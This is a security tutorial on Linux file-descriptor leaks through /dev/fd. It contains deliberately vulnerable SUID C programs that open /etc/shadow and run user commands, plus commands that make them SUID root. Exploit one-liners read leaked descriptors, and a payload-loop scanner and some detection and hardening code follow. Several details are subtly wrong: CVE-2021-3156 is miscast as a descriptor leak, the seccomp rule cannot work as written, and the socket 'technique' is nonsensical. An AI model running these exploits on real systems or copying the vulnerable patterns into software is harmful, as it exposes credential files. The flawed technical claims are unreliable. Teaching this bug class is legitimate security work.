Introduction
File descriptor leaks via /dev/fd represent a fascinating class of vulnerabilities in Linux systems. Today we’ll explore how improperly handled file descriptors can lead to information disclosure and potential privilege escalation.
Vulnerability Type: Information Disclosure / Privilege Escalation
Impact: High
Difficulty: Intermediate
CVSS: 7.8 (High)
Understanding File Descriptors
File descriptors (FDs) are integer handles that represent open files, sockets, or other I/O resources in Unix-like systems. The /dev/fd/ directory provides access to these file descriptors.
1
2
| # List current process file descriptors
ls -la /dev/fd/
|
Common file descriptors:
0 - stdin (standard input)1 - stdout (standard output)2 - stderr (standard error)3+ - Additional open files/resources
The Vulnerability
When a privileged process opens sensitive files but fails to properly close file descriptors before executing user-controlled code, attackers can access these leaked descriptors.
Vulnerable Code Example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| // Vulnerable SUID binary
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char *argv[]) {
FILE *sensitive_file;
// Open sensitive file as root
setuid(0);
sensitive_file = fopen("/etc/shadow", "r");
// Drop privileges but forget to close file descriptor
setuid(getuid());
// Execute user-provided command
if (argc > 1) {
system(argv[1]);
}
return 0;
}
|
Exploitation Methodology
Step 1: Identify Vulnerable Process
First, let’s find processes with leaked file descriptors:
1
2
3
4
5
6
7
8
9
10
| # Check for processes with unusual file descriptors
for pid in $(ps -eo pid --no-headers); do
if [ -d "/proc/$pid/fd" ]; then
fd_count=$(ls /proc/$pid/fd/ 2>/dev/null | wc -l)
if [ "$fd_count" -gt 10 ]; then
echo "PID $pid has $fd_count file descriptors"
ls -la /proc/$pid/fd/ 2>/dev/null
fi
fi
done
|
Step 2: Analyze File Descriptor Leaks
1
2
3
4
5
6
7
8
9
| # Examine specific process file descriptors
PID=1234
ls -la /proc/$PID/fd/
# Check what files are opened
lsof -p $PID
# Look for sensitive files
lsof -p $PID | grep -E "(shadow|passwd|key|secret)"
|
Step 3: Exploit via /dev/fd
If we can execute code in the context of the vulnerable process:
1
2
3
4
5
| # Read sensitive file via leaked file descriptor
cat /dev/fd/3
# Or if we control a child process
./vulnerable_suid_binary "cat /dev/fd/3"
|
Real-World Example
Let’s create a practical demonstration:
Creating the Vulnerable Binary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| // vuln_fd.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char *argv[]) {
int fd;
// Open sensitive file as root
fd = open("/etc/passwd", O_RDONLY);
printf("Opened /etc/passwd with FD: %d\n", fd);
// Execute user command without closing FD
if (argc > 1) {
system(argv[1]);
}
return 0;
}
|
Compilation and Setup
1
2
3
4
5
6
| # Compile the vulnerable binary
gcc -o vuln_fd vuln_fd.c
# Make it SUID (for demonstration)
sudo chown root:root vuln_fd
sudo chmod 4755 vuln_fd
|
Exploitation
1
2
3
| # Exploit the file descriptor leak
./vuln_fd "ls -la /dev/fd/"
./vuln_fd "cat /dev/fd/3" # Read the leaked file descriptor
|
Advanced Exploitation Techniques
1. File Descriptor Inheritance
1
2
| # Check inherited file descriptors in child processes
./vuln_fd "cat /proc/self/fd/* 2>/dev/null"
|
2. Socket File Descriptor Leaks
1
2
| # If leaked FD is a socket
./vuln_fd "netstat -tulpn | grep $(cat /proc/self/fd/3)"
|
3. Timing-Based Exploitation
1
2
3
4
| # Race condition exploitation
while true; do
./vuln_fd "test -r /dev/fd/3 && cat /dev/fd/3 && break"
done
|
Detection and Prevention
Detection Script
1
2
3
4
5
6
7
8
9
10
11
12
13
| #!/bin/bash
# fd_leak_detector.sh
echo "Scanning for potential file descriptor leaks..."
for binary in $(find /usr/bin /bin /sbin -perm -4000 2>/dev/null); do
echo "Checking: $binary"
# Run binary and check for unusual FDs
timeout 5s strace -e trace=openat,close "$binary" 2>&1 | \
grep -E "(openat.*=\s+[3-9]|close.*[3-9])" | \
head -10
done
|
Prevention Measures
- Explicit FD Management
1
2
3
4
5
| // Properly close file descriptors
if (fd != -1) {
close(fd);
fd = -1;
}
|
- FD_CLOEXEC Flag
1
2
3
| // Set close-on-exec flag
int flags = fcntl(fd, F_GETFD);
fcntl(fd, F_SETFD, flags | FD_CLOEXEC);
|
- Close All FDs Before Exec
1
2
3
4
| // Close all file descriptors before exec
for (int i = 3; i < getdtablesize(); i++) {
close(i);
}
|
Mitigation Strategies
System-Level Mitigations
1
2
3
4
5
6
| # Limit file descriptor access via systemd
echo "PrivateDevices=yes" >> /etc/systemd/system/service.conf
# Use seccomp to restrict /dev/fd access
# Add to seccomp profile:
# "names": ["openat"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 1, "value": "/dev/fd", "op": "SCMP_CMP_EQ"}]
|
Application-Level Fixes
1
2
3
4
5
6
7
8
9
10
| // Secure file descriptor handling
void secure_fd_handling() {
// Close unnecessary file descriptors
for (int fd = 3; fd < 256; fd++) {
close(fd);
}
// Or use closefrom() on systems that support it
// closefrom(3);
}
|
Real-World Impact
File descriptor leaks have been found in:
- Sudo vulnerabilities (CVE-2021-3156)
- Container runtimes (Docker, containerd)
- Web servers with CGI execution
- SUID binaries in various distributions
Custom FD Leak Scanner
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| #!/bin/bash
# fd_scan.sh
TARGET_BINARY="$1"
if [ -z "$TARGET_BINARY" ]; then
echo "Usage: $0 <binary_path>"
exit 1
fi
echo "Testing $TARGET_BINARY for FD leaks..."
# Test with various payloads
payloads=(
"ls -la /dev/fd/"
"cat /dev/fd/*"
"lsof -p \$\$"
"readlink /dev/fd/*"
)
for payload in "${payloads[@]}"; do
echo "Testing payload: $payload"
"$TARGET_BINARY" "$payload" 2>/dev/null
echo "---"
done
|
Conclusion
File descriptor leaks via /dev/fd represent a serious security concern that can lead to information disclosure and privilege escalation. Proper file descriptor management, including explicit closing and the use of FD_CLOEXEC, is crucial for secure application development.
Key takeaways:
- Always close file descriptors explicitly
- Use
FD_CLOEXEC for sensitive files - Implement proper privilege dropping procedures
- Regular security audits of SUID binaries
Stay vigilant and happy hacking! 🔐
Disclaimer: This information is provided for educational and defensive purposes only. Always ensure you have proper authorization before testing on any systems.